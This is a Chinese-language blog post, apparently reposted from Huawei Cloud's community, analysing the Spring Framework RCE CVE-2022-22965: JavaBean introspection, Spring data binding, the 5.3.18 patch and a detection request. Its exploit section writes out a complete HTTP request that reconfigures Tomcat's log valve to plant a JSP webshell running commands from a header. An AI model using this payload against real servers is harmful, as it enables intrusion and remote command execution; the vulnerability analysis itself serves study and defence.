本文分享自华为云社区《CVE-2022-22965 缝隙剖析》,作者:Xuuuu。
CVE-2022-22965
A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
环境搭建
VulEnv/springboot/cve-2022-22965 at master XuCcc/VulEnv
前置知识
JavaBean
一个典型的 Bean 目标如下
class UserInfo {
private int age;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
经过 private
界说特点 经过 public getXyz/setXyz
来读写的 class
被称为 JavaBean [^1]
Introspector
java.beans.Introspector
[^2] 提供一套规范的办法来访问 javaBean
中的特点、办法、事件,会查找 Bean
自身并一路往上查找父类来获取信息。如经过 java.beans.PropertyDescriptor
来获取特点相关的信息(name/getter/setter/...
)
public static void main(String args[]) throws IntrospectionException {
BeanInfo info = Introspector.getBeanInfo(UserInfo.class);
PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors();
for (PropertyDescriptor propertyDescriptor : propertyDescriptors) {
System.out.println(propertyDescriptor);
System.out.println("=================================================");
}
}
// java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int; readMethod=public int person.xu.vulEnv.UserInfo.getAge(); writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)]
// =================================================
// java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class; readMethod=public final native java.lang.Class java.lang.Object.getClass()]
// =================================================
也能够经过内省操作来进行赋值操作
UserInfo user = new UserInfo();
System.out.println("age: " + user.getAge());
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();
pd.getWriteMethod().invoke(user, 18);
System.out.println("age: " + user.getAge());
// age: 0
// age: 18
Spring BeanWrapperImpl
提供了一套简略的api来进行 JavaBean
的操作,以及一些高级特性(嵌套特点、批量读写等)
public class User {
private String name;
private UserInfo info;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public UserInfo getInfo() {
return info;
}
public void setInfo(UserInfo info) {
this.info = info;
}
public static void main(String args[]) {
User user = new User();
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);
bw.setAutoGrowNestedPaths(true);
bw.setPropertyValue("name", "wang");
bw.setPropertyValue("info.age", 18);
System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());
}
}
// wang is 18
在 setPropertyValue(“name”, “wang”) 处剖析调用逻辑,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
- 调用getPropertyAccessorForPropertyPath办法经过 getter 来获取嵌套特点
- getPropertyAccessorForPropertyPath 存在嵌套
A.B.C
特点时,循环调用 getter 取值
- getPropertyAccessorForPropertyPath 存在嵌套
- 调用setPropertyValue办法经过 setter 来设置特点
- processKeyedProperty 设置 Array/List… 目标
- processLocalProperty 设置简略 Bean 目标
- getLocalPropertyHandler 获取特点描述符
- getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
- CachedIntrospectionResults#forClass 为当时Bean创建缓存
- …
- getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
- setValue 经过反射调用 setter 进行赋值
- getLocalPropertyHandler 获取特点描述符
Spring data bind
以如下的 controller
为例,跟踪 spring 参数绑定的过程
@GetMapping("/")
public String info(User user) {
return String.format("%s is %d", user.getName(), user.getInfo().getAge());
}
- 传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻觅对应的 Handler 进行处理
- org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
- 运用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从
request
中获取参数。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument - 接下来进入到 org.springframework.validation.DataBinder#doBind,依据 JavaBean 目标来进行赋值。这里会获取一个BeanWrapperImpl经过setPropertyValues来进行赋值
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
源码剖析
官方在 5.3.18
修复了这个问题,检查 Comparing v5.3.17…v5.3.18 spring-projects/spring-framework 在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults
处进行了相关修改,加强了一个 PropertyDescriptor
相关的过滤。检查相关调用
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
结合上文的内容不难揣度,Spring在进行参数绑定时调用的 BeanWrapperImpl
在进行JavaBean操作时触发了此缝隙。
<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
Exp 编写
因为 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults
能够经过 class.module.classLoader
来获取 classLoader
,所以这个洞也是 CVE-2010-1622[^5] 的绕过。
现在撒播的EXP都是使用 Tomcat 的 ParallelWebappClassLoader
来修改 Tomcat 中日志相关的特点[^6],来向日志文件写入 webshell 达到指令执行的目的。
例如向 webapps/shell.jsp
写入 http header 中的 cmd
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送报文
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 7.223.181.36:38888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
cmd: <%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>
就能够使用 shell.jsp?a=cmd
来执行指令了
一些其他使用细节能够参考:关于Spring framework rce(CVE-2022-22965)的一些问题考虑
补丁修复
Spring 在获取特点描述符时加强了判别,只留下了 name
特点。
if (Class.class == beanClass && (!"name".equals(pd.getName()) && !pd.getName().endsWith("Name"))) {
// Only allow all name variants of Class properties
continue;
}
if (pd.getPropertyType() != null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType())
|| ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) {
// Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those
continue;
}
Poc 编写
经过错误地设置 classloader
下的特点来触发 BindException
反常让服务端回来反常即可判别是否存在缝隙,例如发送
GET /?class.module.classLoader.defaultAssertionStatus=123 HTTP/1.1
Host: 127.0.0.1:39999
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
服务端回来
HTTP/1.1 400
Content-Type: text/html;charset=UTF-8
Content-Language: zh-CN
Content-Length: 277
Date: Fri, 08 Apr 2022 03:49:42 GMT
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>
Reference
- Spring Framework RCE, Early Announcement
- SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 – Microsoft Security Blog
- SpringMVC参数绑定原理 | 技能驱动生活
- Spring Framework RCE缝隙剖析 | Gta1ta’s Blog
- CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations
Footnote
[^1]: JavaBeans – Wikipedia
[^2]: Introspector (Java Platform SE 8 )
[^3]: Spring 特点注入(三)AbstractNestablePropertyAccessor – binarylei – 博客园
[^4]: Module (Java SE 9 & JDK 9 )
[^5]: SpringMVC结构任意代码执行缝隙(CVE-2010-1622)剖析 – Ruilin
[^6]: Apache Tomcat 8 Configuration Reference (8.0.53) – The Valve Component
文末福利:华为云缝隙扫描服务VSS 根底版限时免费体验>>>
点击关注,第一时间了解华为云新鲜技能~